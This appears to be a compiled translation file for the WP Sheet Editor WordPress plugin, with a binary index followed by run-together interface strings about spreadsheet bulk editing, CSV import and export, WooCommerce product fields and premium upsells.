ʠԠ #%*I t~ *ʡӡ  #01b4y!Т" ,>OV_L ] kFyۤb2v2:ܥ<6TTV173i.*̧.@_%$ 6.A1p)yInSɬ .)X0pحݭ?a*0@Lʯ1BRp  ̰!!9[-{.ر.-3Da$.˲)> ]5j$ųZԳ/6N'd 0" ,-"Z}{QKd(ٶ&")Is .ҷNN=E!A Zgw4$/:*j  ú/Iݻmp޾hc̿Կ. No3-#$6[v }A5  $@eRSl&Q9 ISY6s4sJ gtW+WYPmF_=p:6&qzYm;Z*N($Fk*!"6DT{xIT\! |,$&%'CbS1O0/B6-yZy||UyOT`n(bOzJT1BK'R[;zmwrGXLXFn+L4F)Fp_ 9(bQ' y22M-^AT+#O34<q+C1=:x2~   !. 6 BO_v +h Uv.`~xGj':bP68o;   S| 7    ^`@DQ;y=;6 >HCeI!5?R<M2:@mHKbi-iX!km""s#3%&'(#T)x)"))b)%*8*A*R*!d*&****+**+C+Y+l++.!.?=.}.E.. ...I.Y>//u?00c11.1@1S2Of2$2b2O>3f3F30<47m4:4:4158M57555N5^C6x6f7j777*%8P909-:@:Q';y<g=e>cg>K>?? ?? ?#?8@"O@Qr@?6% 0L{Uv3|4>Bi`ZP?r ZW}I{{_oyoe Ds{h9fGOW:(i@=ddgmU z&3h`S .( '&R \Ka X gqCr-Ht&<a _b] }(,#]0RF.Ah6 `[v.%r#aZ_/4ewVTn X_nks/~,!Kwlc`GS$.[ >smR%Bw747 pNgNZ;2 A?*TMTIf")+9A-1L0\Xi69*kqtCDx9,jp# @DQa8HxLQ,oxOfo35 l-*"4Ck y.[eKO7G[F, u+no"Q&#O^j9[ y=^$8@^Y1_(->W/:}8'EpEq:(Q@:!1P#\q8'+%KJ\mLRu G!(dBI^hei~}<J8bV6.:z\2S |m ll1K4|5J?" ~s Q#MPaN2 /r<d,Ss5 jkX-U y2V3"I!5Y3<ut}W ccnf>`3PJ)%b1Ag)A N0hcCD&T~)q;6fYz*OZ')*7C /G>jE+Ie%l VFv;&|!bi' ]+Bu$wJ0cESYF]@L$xy$~z?v+MpX'Yp5 x$PB=wVW;MNb) m;4H]t-zdFMr"H0ukv*RU{2Tt=27H/UDEg=<|1^!nj (You can remove these help messages in the advanced settings) (Premium. Try for Free for 7 Days) If it doesn't start automatically you can find the file in the folder /wp-content/uploads/wp-sheet-editor/exports/ on your server.

                  The export files are deleted automatically after %d hours. Some columns have the button to change the formatting%1$d of %2$d items have been processed from the file. {total_updated} items updated and {total_created} items created.%s rows will be edited.%s variations created.%s: Allowed spreadsheet views(Install free extension)(Pro extension)- -- First, edit one item in the normal editor and fill all the fields manually.- If the previous solution failed, you can create new columns manually.- Maybe you deleted the columns from the list.- We can help you.- We can scan the database, find new fields, and create columns automatically. Lite version. Showing all products and all fields as columns, 15 columns are editable and the rest are read only.
                  Upgrade: Edit in Excel/Google Sheets, export, import, bulk edit thousands of products at once.. Upgrade: Export, import, edit in Excel or Google Sheets; bulk edit thousands of rows at once, edit all the fields from other plugins, and more. Upgrade and Save Days of Work. Add child categories using this format: Parent > child1 > child2. We recommend you increase the server memory to at least 256mb to prevent server errors. Tutorial...1. Are we reading the file properly? Here is a preview of the first 5 rows from the file.2. Please make a backup before executing the import, so you can revert in case you used wrong settings or the file was wrong. The import will save the information directly.Read moreEditing the field: {field_label}Money back guarantee. Buy the plugin without worries. We'll give you a refund if the plugin doesn't work.Tip from WP Sheet Editor: Edit thousands of categories at once, make advanced searches, view all the info in one page, and more.Tip from WP Sheet Editor: You can view all the users in a table, view thousands of full profiles, edit hundreds of users at once without crashing your server, view all shipping/billing/buddypress information. Make advanced searches, create hundreds of users, and more. Download PluginTip from WP Sheet Editor: You can view and edit Product Variations in a spreadsheet, bulk edit, make advanced searches, edit hundreds of variations at once, copy variations to multiple products, etc. Download PluginTip: The formula execution is too slow? Save more posts per batch
                  Are you getting errors when executing the formula? Save less posts per batchTip: The saving is too slow? Save more posts per batch
                  Are you getting errors when saving? Save less posts per batchWP Sheet Editor: You can view all these variations and edit them all at once in our spreadsheet. Open in a spreadsheet
                  Use the coupon: %s

                  The export finished.

                  The download should start automatically.

                  WP Sheet Editor

                  Do you want to install the premium plugin that you purchased? Follow these steps:

                  1. If you were using the free version of the plugin before the purchase, you need to uninstall the free version now
                  2. When you purchased the plugin, you received an email with the download link and license key
                  3. Now go to this page and click on the "Upload" button at the top
                  4. Upload the premium zip file
                  5. Activate the plugin
                  6. You will see a screen asking for a license, enter your license key
                  7. Done. Now you should see the welcome page where you can set up the plugin and start using it

                  If you need help, you can contact us

                  Missing column?

                  or
                • Shop manager role can view and edit WooCommerce products.
                • Add a "duplicate" tool to the spreadsheet. You can select one row (post, product, coupon, etc.) and create a lot of copies.

                  Example. Create 100 products with the same tags, dimensions, attributes, and variations. And only change a couple of fields manually.

                  Advanced Custom Fields metaboxes appear in the Spreadsheet Automatically. So you can edit custom fields easily.

                  Create new spreadsheets with custom columns and Share the Spreadsheets with your Users or Employees on the Frontend. Useful for marketplaces where vendors should edit products in the spreadsheet, allow post or event submissions on the Frontend, events directories, Web Apps, Custom Dashboards, etc.

                  Edit Hundreds of Posts at Once with just a few clicks. Search and replace, Replace urls and phrases, save values to fields in bulk, copy values between fields, merge fields, etc..

                  Examples: Copy regular price to sale price, update product attributes names, etc.

                  Edit Hundreds of Posts at Once. Update numeric fields using advanced math formulas. Example, increase prices by 10% , manage inventory , etc. Run any math formula.

                  You can use multiple fields in the formula, for example, "Regular price x Inventory / Sales price

                  Edit SEO title, description, keyword, and SEO score in spreadsheet

                  Edit WooCommerce products in the spreadsheet. It supports all kinds of products, including Variable Products, Downloadable Products, External Products, Simple Products. You can edit all product fields in the spreadsheet, including attributes, images, etc.

                  Edit WordPress users in spreadsheet, edit only basic profiles and make basic searches.

                  Edit WordPress users in spreadsheet. Edit FULL user profiles, including custom fields. Add new columns to the spreadsheet, Good for ecommerce stores, membership sites, events directories, business directories, user directories

                  Edit default post fields in spreadsheet.

                  Edit restaurant menus, courses, projects, portfolios, and all custom post types.

                  Find posts by keyword, taxonomies, author, date, status, or custom fields.

                  Search in multiple fields with advanced operators: =, !=, <, >, LIKE, NOT LIKE

                  Examples: Find products from category Audio with stock < 20, or products from category Apple without featured image, or products containing the keyword "Google" without image gallery.

                  It is the best way to manage your comments, WooCommerce customer reviews, event reviews, testimonials, and order notes in a spreadsheet. You can make advanced searches by any field (keyword, order note, status, find comments by post type, and all the fields). You can bulk edit them, delete all at once, export them to excel or external systems, import comments and reviews from other systems, and more.

                  One Spreadsheet for Every Custom Database Table added by other plugins. Live edit in the cells, Bulk Edit, Make advanced searches by any field, export and import, bulk delete, move information between sites, edit thousands of items, and more.

                  One spreadsheet for categories, tags, product attributes, event categories, portfolio categories, real state tags, etc. View and edit all the items in one place, copy paste, upload category images quickly, add descriptions, edit SEO, etc.

                  Resize columns in the spreadsheet and save it for future sessions.

                  Search in the spreadsheet. Find posts by keyword, status, and author.

                  View WooCommerce Coupons in a spreadsheet. Edit all coupon fields, Advanced Search by any field , Auto generate hundreds of coupons, Update hundreds of coupons at once, and more.

                  View all the EDD products in a spreadsheet, create downloads and files in bulk, edit hundreds of products at once using formulas, Advanced searches using multiple fields, etc.

                  View all the events in a spreadsheet, create events in bulk, edit hundreds of events at once using formulas, Advanced searches using multiple event fields, etc.

                  View all your Customers in a Spreadsheet. View full profile, Edit Profiles Quickly, View Billing and Shipping information, Make advanced customer searches, Export Customers to Excel or Google Sheets, Import Customers from External Applications

                  View and dispatch all the Orders quickly. Advanced Search by any field (shipping method, taxes, VAT, payment methods, customers, products, etc), Export orders and customers information including guest customers; edit thousands of orders quickly, and more.

                  View the image, videos, and all the files from the WP Media library in a spreadsheet. Edit all the file fields, including alt text, image captions, file descriptions, Advanced Search by any field , Auto generate alt text, captions, etc. using the parent post title or categorías, Update thousands of files at once, and more.

                  You can auto fill cells (copy) by dragging the cell corner into other cells, as you can do in excel.

                  You can create columns for custom fields.
                  Edit page settings added by your theme, event details, products information, etc.

                  You can rename the columns of the spreadsheet.
                  Example. Instead of showing “Post author” on the spreadsheet, you can change it to “Uploaded by”.

                  You can show, hide, and sort columns in the spreadsheet.

                  Editing the field: {column_label}. Items to process: {total}, Progress: {progress_percentage}%%, We have updated {edited} items.

                  1- Please backup your database before executing, the changes are not reversible.

                  2- Make sure the bulk edit settings are correct before executing.

                  Complete

                  .

                  Free extensions

                  Send email notifications to users in bulk, and create advanced segments using the advanced search.

                  For example, you can filter a spreadsheet of customers/users/forum users/affiliates/blog commenters by country, city, state, orders count, etc and send them important emails.

                  We recommend that you use a SMTP plugin to improve the email deliverability and take into account the users consent and privacy laws.

                  The automatic saving failed. Your changes were not saved completely due to an error. You can try again later, if the error persists contact our support team and keep this tab opened

                  The bulk edit has been scheduled. You can close this popup. View scheduled bulk edits.

                  The bulk edit was not applied completely. The process was canceled due to an error.

                  You can close this window.

                  The changes have been scheduled. You can close this popup. View scheduled changes.

                  The changes were not saved completely. The process was canceled due to an error .

                  You can close this popup.

                  The export has been scheduled. You can close this popup. View scheduled exports.

                  The import has been scheduled. You can close this popup. View scheduled imports.

                  The import has finished

                  The process did not finish. The process was canceled due to an error.

                  You can close this window.

                  The process has finished

                  This includes spreadsheets to manage Donation Forms, Donations, and Donors. You can bulk edit, export, import, and quickly manage your donations website created with GiveWP

                  You can edit simple products only. Available columns: title, url, description, date, SKU, regular price, sale price, stock status, manage stock, stock quantity.

                  More columns and product types available as premium extension.

                  Do we deserve a 5-star review? Yes, you deserve it . - . NoA column is missing?A column is missing? Enable itA field is missing? Click hereACF: Show checkboxes as multi select dropdowns?Accept post from this post typeAccept terms from this taxonomyActionActivate full screenActivate this option to remove the pagination buttons and load rows automatically when you scroll down. You will see all the rows at the same time, you can load thousands of rows without problems.Active filters:Active.Add NewAdd New Columns to the SpreadsheetAdd New SpreadsheetAdd a name for this group of columnsAdd call to actions or any text at the beginning or ending of your postsAdd columns for custom fieldsAdd hours, days, weeks, months, or years to the existing dates.
                  If the existing date is empty, we will use the current date as a base.Add html classes to the "post status" cells based on their values?Add newAdd new columnAdd new post typeAdd time to existing datesAdministrator role can view and edit everything.Advanced Custom FieldsAdvanced SearchAdvanced SettingsAdvanced modeAdvanced searchAdvanced settingsAll SpreadsheetsAll changes saved.All items have been saved.All the features available in the backend spreadsheet can be used in the frontend spreadsheet.All the parameters will be used to search on variations instead of the main products.All the products in the storeAll the rows from my current searchAll the variable productsAllowAllow backordersAllow line breaks in values during the export and import processAllow multiple files per field?Allow multiple posts per field?Allow multiple terms per field?Allow safe html in post titles?Allow to edit this column on variation rows?Allow to edit using formulas?Allow to hide column?Allow to hide this column on the settings page?Allow to import images from FTP servers?Allow to rename column on the settings page?Allow to rename column?Allow to see the variation URL slug?Allow users with the capability unfiltered_html to save any html in the post content column?Allow your Users to Edit Custom Fields, Add new columns to the editor, Enable fields, disable core fields, and sort fields. You can customize the frontend editor completely.Allow your clients to edit WooCommerce Products using the spreadsheet without wp-adminAllow your marketplace sellers to bulk edit their productsAllow your marketplace sellers to import products on the frontendAllow your readers to submit blog posts using the spreadsheetAllow your store buyers to download the catalogAllow your store customers to make advanced catalog searches Allow your store employees to manage stock and pricesAllow your visitors to publish eventsAllow, but notify customerAllowed valuesAlready downloadedAlternative textAlways run the save_post action after any post row is edited?And more.And see previews while editingAny of these values (Enter multiple values separated by ;)AppendApplication/SoftwareApply changes in bulkApply settingsAre you sure you want to delete the post type? You will delete the posts in the post type as wellAre you sure you want to delete this column?Are you sure you want to delete this columns view?Are you sure you want to delete this scheduled job and all its related files?Attach every taxonomy term in the hierarchy to the posts?Attribute %d defaultAttribute %d globalAttribute %d nameAttribute %d value(s)Attribute %d visibleAttribute nameAttribute value(s)Attribute visibilityAttributesAttributes appear as dropdowns in the product page where the user can select the variation colors, sizes, and any attribute. Here you can define the default options selected in the dropdowns.
                  Separate values with the character %s
                  This only works for Variable Products and it must have variations, otherwise the default attributes won't be saved.AuthorAuthor role can view and edit his own posts only, he can upload images.Auto (Default)Auto retry failed batches?Autofill cellsAutomaticAvailable componentsAvailable spreadsheetsAvailable tools (optional)Average ratingBackendBackorders allowed?Backwards compatibility. This setting will be removed in future updates.Basic searchBlacklist these columnsBulkBulk EditBulk Update featureBulk actionsBulk edit columnBulk edit not executed. No items found matching the criteria.BuyBuy bundleBuy extension now!By default WordPress shows a black bar at the top of the page when a logged in user views a frontend page. The bar lets you access the wp-admin, log out, edit the current page, etc. If you enable this option we will hide that bar and you can use the shortcode: [vg_display_logout_link] to display the logout link.By default dates show in a calendar, post content has a text editor option, images show preview, etc. you can enable this option to display everything as plain text and disable the fancy formatting.By default we automatically show columns for all the new fields found, so everytime we detect new fields you can see them and edit right away. But this might "break" your column sorting or annoy you if you have enabled specific columns. Enable this option to generate those columns but leave them deactivated so you can enable them later.By default we show comments in some columns indicating the value format or why they are locked. for example, the category column shows a tip indicating to separate terms with a comma and how to add child categories, variation columns have a tip indicating why they are locked for parent products. You can activate this option to disable those tips.By default we show the CORE statuses: published, draft, private, scheduled, trash. However, some plugins register custom statuses: job managers, woocommerce. Enable this option to show all the custom statuses in the "status" column. CAREFUL. We will show all the statuses from all the post types in the dropdown because it is impossible to know the post type of each status to we can not separate them. Do this only if you are a developer.By default we show the categories as names separated by commas. Activate this option to display and save term ids separated by commas.By default we show the categories as names separated by commas. Activate this option to display and save term slugs separated by commas.By default we use an infinite list of rows and we load more rows every time you scroll down. You can activate this option to display pagination links and disable the infinite listBy default we use an infinite list of rows and we load more rows every time you scroll down. You can activate this option to display pagination links and disable the infinite list.By default we will copy all the attributes and all the variations and replace the existing variations. You can activate this option to copy individual variations and append them to the existing variations in the target product.By default, for performance reasons, we trigger the WC API events when fields related to WC are edited: Prices, SKU, Stock, Attributes, Images, Type. Activate this option if you want to trigger the WC API events when any field is edited, including fields unrelated to WC.By default, if the product is variable, we activate "used for variations" to save you time, so you can create your variations faster. But if you prefer to manually activate it on specific attributes, you can activate this option.By default, the "parent" column displays titles and saves using titles. If you activate this option, the column will display IDs and save IDs. This is useful if you have duplicate titles and you need to save the exact parent by ID.By default, the importer allows to save images using full internal URLs, external URLs, file name (from the media library), and file ID. If you activate this option, it will support FTP urls like this: ftp://user:password@host:port/path/to/image.png. This will make the import slowerBy default, we create 100 copies per batchBy default, we export and import one column named "Images" with the featured image and gallery images combined. Activate this option to export and import one column with featured image and one column with gallery imagesBy default, we make the attributes visible in the products when you save any attribute in the spreadsheet to save you time, but if you prefer to manually activate it on specific attributes, you can activate this option.By default, we only attach the last term in the hierarchy to the posts because WordPress automatically handles them correctly. But if you want to assign each term to the post, including the parent categories, activate this optionBy default, we only display 30 characters. You can increase the number here to view larger previews.By default, we remove any unsafe html from all the spreadsheet columns before saving the values. You can activate this option if you want to allow the WordPress super admins or administrators to add iframes, ad codes, etc to the post content. Use it at your own risk.By default, we run the save_post action only when a post data field is updated (fields other than meta and taxonomies) for performance reasons. Enable this if other plugins aren't detecting our changes or webhooks aren't running.By default, we show all the columns in the app modules (advanced search, bulk edit, export, import, etc), even if they're disabled in the columns manager. Activate this option to only display enabled columns.By default, we show every checkbox as a separate column, but if you have checkboxes with many options you might want to use one column with a dropdown instead.By default, we show the file name as a preview next to the thumbnail, you can activate this to show the thumbnail and upload buttons onlyBy default, we show the label in the cell instead of the raw value. But you can enable this option to display the raw value in the cells.By default, when you export the featured image column or gallery columns, we add the file ID to each image url so we can import them later faster. You can activate this option to not add the file id and the import will work fine later but it wont be as fastBy the default, the import stops when a product references a broken images and you have to correct the issue in the file and start a new import. Enable this option and we will let you import products without images when the image url is brokenCHARACTER LENGTH <CHARACTER LENGTH >CONTAINSCSV ColumnCSV FieldCSV fileCSV file from my computerCSV file from urlCSV file in the serverCSV file locationCalendarCancelCancel importCancel the changes and close popupCapitalize the first letter of every word in the field. I.e. convert "my title" into "My Title".Capitalize wordsCaptionCareful. The changes are not reversible. Please double check proceeding.Category name...Cell typeChange attribute settingsChange background colorChanges savedChanges saved successfullyCheckboxClear valueClick here to export the settingsClick here to show all columns againClickable buttonClicks avoided
                  (estimated)CloseColumn formatColumn groupsColumn keyColumn nameColumn not found. Try with another search criteria.Column removed. Go to "settings > hide/display columns" to enable it againColumn settings defined in the columns managerColumn sizesColumn titlesColumn width (pixels)Columns could not be saved. Try again.Columns created manuallyColumns limitColumns managerColumns renamingColumns resizingColumns restored successfully, please reload the page to see the restored columns and enable themColumns visibilityColumns visibility and Custom Fields (optional)Comment countCommentsComments, Reviews, and Order Notes SpreadsheetContact usContains keywordContentContinueContributor role can view and edit his own posts only, but he can't upload images.Copy & paste from another spreadsheet or tableCopy and Paste into the spreadsheet belowCopy files from this product: (You need to save the changes afterwards.)Copy from other columnsCopy from this columnCopy regular price and decrease by percentageCopy regular price and decrease numberCopy the value of other fields into this field.
                  Example, copy "sale price" into the "regular price" field.Copy the variations into these products.Copy variationsCopy variations and attributes from this product:Copy variations faster: Number of variations to copy per batchCopy variations from this productCreate and copy variations for variable products.Create columnCreate new items and update existing itemsCreate this number of variationsCreate variationsCreate variations for every combination of attributes?Cross-sellsCurrencyCurrent spreadsheetCustom Database Tables SpreadsheetCustom attribute namesCustom attribute: %sCustom columnsCustom formulaCustom post typesCustomize featuresDark modeData missing, try again later.Data sourceDateDate (GMT)Date and timeDate range fromDaysDeactivate the data prefetchDecimals separatorDecode quotes?Decrease byDecrease by numberDecrease by percentageDecrease the existing value by a number.
                  The result is rounded to the 2 nearest decimals. I.e. 3.845602 becomes 3.85Decrease the existing value by a percentage.
                  The result is rounded to the 2 nearest decimals. I.e. 3.845602 becomes 3.85Deduct a number of hours, days, weeks, months, or years to the existing dates.
                  If the existing date is empty, we will use the current date as a base.Deduct time from existing datesDefaultDefault attributeDefault attributesDefault sort orderDefault: 4. When you enter an external image URL in any image cells (or during the import), we download the image file into the WordPress media library and save it in the field. By default, we limit the download time to 4 seconds, any download that exceeds that number of seconds will be cancelledDeleteDelete allDelete completelyDelete fieldDelete posts faster: Number of posts to delete per batchDelete rowDelete rowsDelete serialized fieldDelete the attached images when deleting a post?Delete the newest items and keep the oldest itemDelete the old items and keep the newest itemDelete user accounts in the entire network when deleting users in the spreadsheet?Demo videoDescriptionDisable allDisable cells lazy loading?Disable column. You can enable it later.Disable extension offerings?Disable post actions while saving?Disable product inventory stats?Disable serialized columns support?Disable the addition of file ID to the image URLs?Disable the automatic activation of "is visible" for attributes on products?Disable the automatic activation of "used for variations" for attributes on variable products?Disable the automatic formatting detection?Disable the automatic loading of rows?Disable the display of file names in the image columns?Disable the full screen mode?Disable the heartbeat api in the spreadsheet?Disable the help toolbar?Disable the popup that asks you to install important extensions?Disable the replacement of line breaks with p tags?Disable this if you are using a object/database cache plugin. We disable this by default to make the saving faster, when you edit a lot of posts WordPress tries to "clean up" the cache even if you are not using a cache plugin, making hundreds of unnecessary database queries.Disable usage stats widget?DisabledDisconnecting the current site from your Google account and the WP Sheet Editor API will pause the sync jobs you created on this site. However, sync jobs created by other users on this site, which sync to their own Google accounts, will remain active. Your other WordPress sites will continue to function normally. Do you want to continue?Display raw value on select cells?Display spreadsheet editor on the frontendDisplay the spreadsheet editor in the frontendDisplay variationsDo not allowDo not copy the variation images?Do you want to deactivate columns for new fields found?Do you want to delete {rows_number} rows from the database completely? If you want to restore them later, you should make a backup before.Do you want to update or create items?Don't display the disabled columns in the modules?Don't show read-only columns in the advanced search?DownloadDownload %d IDDownload %d URLDownload %d nameDownload CSV fileDownload URLDownload expiryDownload filesDownload files : URLsDownload files : namesDownload limitDownload nameDownload typeDownload updateDownloadableDownloadsDrag the columns to the left or right side to enable/disable them, drag them to the top or bottom to sort them, click on the "edit" button to rename them, click on the "x" button to delete them completely (only when they are disabled previously).DuplicateDuplicate (Tool)Duplicate from the main languageDuplicate items in bulkDuplicate items in bulk.Duplicate rowDuplicate rows: Number of copies to create per batchDuplicate this item:EDD Download FilesEDD Variable PricesENABLE COLUMNS. These columns require a page reload: {columns}. Do you want to reload now? We will reload automaticallyENDS WITHEasy Digital Downloads SpreadsheetEditEdit Edit %sEdit Coupons in a Spreadsheet.
                  Edit coupon codes, amounts, status, restrictions, and more. Make advanced searches. The spreadsheet is in sync with your site, no need to import/export. Download PluginEdit Custom Fields in SpreadsheetEdit Posts and Pages in SpreadsheetEdit User Profiles in Spreadsheet - BasicEdit User Profiles in Spreadsheet - FULLEdit WooCommerce products, WooCommerce Variations and Attributes.
                  Edit hundreds of posts at once using formulas, copy information between posts,
                  Edit custom post types and custom fields, Edit User Profiles, and MoreEdit WordPress %sEdit all the rows from my current search (including non-visible rows).Edit attributesEdit categories, tags, attributes in a spreadsheetEdit filesEdit in a SpreadsheetEdit meta keyEdit only parent productsEdit only variationsEdit settingsEdit the rows that I selected manually in the spreadsheet.Edit the same rows that I manually selected previouslyEdit "%s"Editing:Editor role can view and edit all posts and pages.ElementorEmailEmail messageEmail subjectEnableEnable advanced filtersEnable allEnable auto saving?Enable columnEnable commentsEnable new spreadsheetEnable option to restrict spreadsheet views per user?Enable paginationEnable reviewsEnable simple mode?Enable the advanced mode at the bottom of the page to customize the column width, format (editor, file upload, taxonomies), etc.Enable the dark mode?Enable the fancy taxonomy terms selectorEnable the utf8 encoding fixEnable this option if you want to copy all the variation data, except the variation image.EnabledEnabling this column requires a page reloadEnter %sEnter IDs separated by commas, spaces, new lines, or tabs. You can use ID ranges like 20-50 as a shortcut.Enter a date format. List of formats. Example: Y-m-dEnter a date format. List of formats. Example: Y-m-d H:i:sEnter a date format. List of formats. If you leave it empty, we'll use the default: Y-m-dEnter a date format. List of formats. If you leave it empty, we'll use the default: Y-m-d H:i:sEnter a keywordEnter a keyword to exclude posts, separate multiple keywords with a semicolon (;)Enter a name...Enter a number and those columns will be frozen while scrolling horizontally. You can right click on any column to freeze or unfreeze it. For example, enter 2 to freeze the first 2 columnsEnter a search term...Enter a titleEnter a username or email...Enter a word and we will find the first matching column. You will avoid scrolling through dozens of columns to find the one you need.Enter each choice on a new line. For more control, you may specify both a value and label like this: red : RedEnter item name...Enter multiple SKUs or IDs separated by commasEnter multiple URLs separated by commasEnter multiple attributes separated by |Enter multiple language codes separated by commas and we will create copies of the main language. For example: en, es. Existing languages will be skipped.Enter multiple post titles separated by commasEnter multiple terms separated by %sEnter multiple terms separated by commasEnter one URL per lineEnter one or multiple term names separated with %s or new lines. Enter the full hierarchy like "Parent > Child" to remove subcategoriesEnter the URL. It can be an URL from your own site (Example http://site.com/wp-content/uploads/2016/01/file.jpg) or an external URL.Enter the URL. It must be an URL from your own site. Example: http://site.com/wp-content/uploads/2016/01/file.jpgEnter the URLs separated by commas. They can be from your own site.Enter the URLs separated by commas. They must be from your own site.Enter the attribute nameEnter the column name (anything you want), and select the field key from the dropdown. If you dont find it you can type it in the dropdown. View TutorialEnter the full hierarchy like parent > childEnter the list of field keys separated by commas, you can enter the full meta field key or partial keywords or prefixes. This is useful because some plugins add thousands of unnecessary fields to the database and they clutter the spreadsheetEnter the names of Enter the new terms separated by %s . You can add hierarchy like parent > child > childEnter the number.Enter the percentage number.Enter the term name or slug.Enter the value to append to the existing value.Enter the value to prepend to the existing value.Error on row ID: %d - %sError. The math engine could not execute the math operation: %1$s, ID: %2$dError. The status column must be enabled in the spreadsheet before we can remove duplicates.Error: %sError: The new value is empty or is equal to the old valueEtc.Events SpreadsheetEverything is already saved.Everything you need for All Posts Types and ProductsEverything you need for Users and CustomersExample 1: $current_value$ + 2 * 5.
                  Example 2: $_regular_price$ * 0.7 (Set regular price - 30%)Example: ExcerptExecuteExecute NowExitExit Full ScreenExportExport and import settingsExport columnExport rows faster: Number of rows to export per batchExport to CSVExtend the spreadsheetExtension nameExtensionsExtensions that require updateFTP Images: Skip images with same file name?Favorite search fieldsFeatured ImageFeatured imageFieldField 2: CSV FieldField 2: WordPress FieldFile (url or path)File IDFile URLFile URLsFile could not be uploaded. Please start the process again.File uploadFile upload (multiple)File upload (single)File uploaded succesfully but it's not a valid CSV file or it uses the wrong encoding. If you edited the file in Excel, verify it was saved as UTF-8 and keep in mind that, sometimes copy pasting from external places adds invalid characters. So make sure you paste only the values and not paste the formatting to avoid pasting invalid characters.Files saved.Filter items listFinal stepFind these IDs:Find these URLs:For advanced users. Enter the name of your PHP function and we will pass 2 parameters: $current_data (string with current value of the column) and $row_id, the function must accept the 2 parameters and return the modified value as a string. We will automatically save it if the value changed. Read more.For example, if you searched for posts by author = Mark using the search tool, we will update only posts with author MarkFor example, if you select the blog categories, we will only accept blog categories in this column.For example, if you select the post type "product", we will only accept product titles.For example, select "Spanish" and "German" here and we'll find products that don't have spanish translations or german translations.For example, select "Spanish" and "German" here and we'll find terms that don't have spanish translations or german translations.For example, when deleting a post completely (not moving to the trash), delete the featured image and product gallery images from the media library. CAREFUL.If you use the same images on multiple posts, it will break the images on other postsFormatted cell mode: Render as: (Use only if cell type is empty)FormulasFreeze first columns at the left side?Frontend SheetFrontend SpreadsheetsFull URLFull contentFull screen mode is activeGalleryGeneral settingsGenerate excerptGenerate serialized fields columns based on these postsGet instant help in the live chat + email support during business hoursGet the %d extensions below for just $ %s $ %sGive SpreadsheetGlobal sortGo PremiumGo backGo to pageGo to the topGoogle SheetsGuides and TutorialsHeightHelpHere is a sample CSV containing all types of products.Here you can control the batch size for the copy of variations. If you use a high number the copy will finish faster but it can saturate your server. We recommend a low value like 50 so it will not saturate your server although it might be slowerHere you can control the batch size for the exports. If you use a high number the exports will finish faster. You can use a high number safely because we automatically fall back to a lower number if the server is overloaded during one export. For example, export 100 rows per batch and complete the exports super fast and if we detect slowness in one export we will automatically restart the export with 10 rows per batchHide / Display / Sort columnsHide admin bar on the frontendHide columnHoursHow are the multiple values saved in the database?How do we find existing items to update?How do you want to save the multiple files?How do you want to save the multiple posts?How do you want to save the multiple terms?How is the file saved in the database?How is the post saved in the database?How is the taxonomy term saved in the database?How is the user saved in the database?How long do you want to wait between batches? (in seconds)How many copies do you want?I don't want to copy all the variationsI have a database backup, Execute NowI understand it will update the products from my search.I understand, continueI want to search rows to update and edit all the search resultsI.e. A value like "(234343) My great title" can become "My great title" by removing everything before ") "I.e. A value like "My great title (234343)" can become "My great title" by removing everything after " ("IDIf the column has a very long text, we will remove the html and shorten it to a number of words.If this is a global attribute, enter the attribute key (i.e. pa_color). Enter the name if this is a custom attribute.If you are trying to download something that was exported several hours ago, the file might have expired. Files expire after %s hours.If you click on the "download" button, we will download the file from the official website: wpsheeteditor.com.If you disable this option, this column will be edited manually only.If you enable this option, some columns will appear as text. Normally we detect the date fields, image fields.If you enable this option, the usage stats widget shown in the wp-admin dashboard will be removed.If you enable this option, we will add fields to the user profiles where you can specify which spreadsheet views they can use, they can use all the spreadsheet views if this is deactivated.If you enable this option, we will simplify the spreadsheet options and remove advanced examples, tips, and options rarely used in the search tool, bulk edit tool, import tool, export tool, and other places.If you stop an import to edit your CSV file or change the import speed, you can start a new import and continue from where you left off.Ignore this columnImage preview height inside the cellImage preview width inside the cellImagine being able to do all those changes to hundreds or thousands of posts at once in just a few minutes. The formulas feature is available as premium extension.ImportImport all rows as newImport all the columnsImport as meta dataImport csvImport settingsImportant extensionsImportant. We only detected one column in the CSV file. If this is incorrect, follow these steps to fix itImportingIn the last x daysIn the last x hoursIn the last x weeksIn the last x yearsIn this page you can quickly set up the spreadsheet editor. This all you need to use the editor. The settings on the other tabs are completely optional and allow you to tweak the performance of the editor among other things.Increase ProductivityIncrease byIncrease by numberIncrease by percentageIncrease or decrease products pricesIncrease or decrease products stockIncrease rows per pageIncrease the existing value by a number.
                  The result is rounded to the 2 nearest decimals. I.e. 3.845602 becomes 3.85Increase the existing value by a percentage.
                  The result is rounded to the 2 nearest decimals. I.e. 3.845602 becomes 3.85Initial rows offsetInsert into itemInstall for FreeIntegrationsInvalid #898AJSI. The replace requires 2 parameters, we received oneInvalid #8W23CV. We accept MATH and REPLACE formulas only, we received an unknown formula type.Invalid #8W89PQ. Math formula is empty.Invalid #8W89PWQ. Math formula is invalid.Invalid #PQ8PHP. The PHP function does not exist: %sInvalid #PQ8SPQ. The math formula contains a comma: %sInvalid time unit.InventoryIs DownloadableIs VirtualIs Visible?Is a global attribute?Is featured?Is read only?Is visible?It searches in the post title and post content. Search by multiple keywords separating keywords with a semicolon (;)It's important that you install them to prevent errors, but you can do it later if you want. Find this popup in the toolbar > extensions > Integrations.Items loaded in the spreadsheetJust save changesKeyLabelLast editLeave empty to use the global settings.Leave this empty if you want to unset the term.LengthLight modeLinks ColorList of deleted columnsLiveLoadLoad More RowsLoad more items on scroll?Load more on scrollLoad rows faster: Number of rows to load per batchLocate cellLocate cell.Locate columnLocked cells only show a preview of the value. The default character length is %dLogin messageLogoMain ColorMake another searchManage stockManage taxonomy column values as term ids?Manage taxonomy column values as term slugs?Manage the post parent column using IDs?Math FormulasMath formulaMath formula roundup decimalsMath operationMaximum meta fields displayed in the advanced filters dropdownMaximum number of characters displayed in the preview of the values of tinymce columns?Maximum number of seconds to download external images?Maximum number of variations per combination of attributesMaximum number of wordsMaximum visible characters in locked cellsMaybe your server did not allow us to create the file. It happens if your server is not configured correctly and our folder %s does not have write permissions, so we're not able to create the file. You should request help from your hosting provider.Media Library SpreadsheetMenuMeta keys that should use the infinite serialized fields handlerMeta: %sMicrosoft Excel (Office 365)Mime typeMiscMissing columnsMissing number and time unit.Missing parameters.Missing post type or column_keyMissing post type, old_column_key, or new_column_key; or the old and new key are the same.Missing required field "data".Missing required field. Please start the process again.Modified DateModified Date (GMT)Modified cellsModified rowsMonthsMore optionsMove all your drafts to published posts or any other statusMove hundreds of posts to the trashMulti select dropdownMusicMy licenseNOT CONTAINSNOT Contains this keywordNameName of this exportName of this export (optional)Need help?Need help? Check our tutorialsNeed 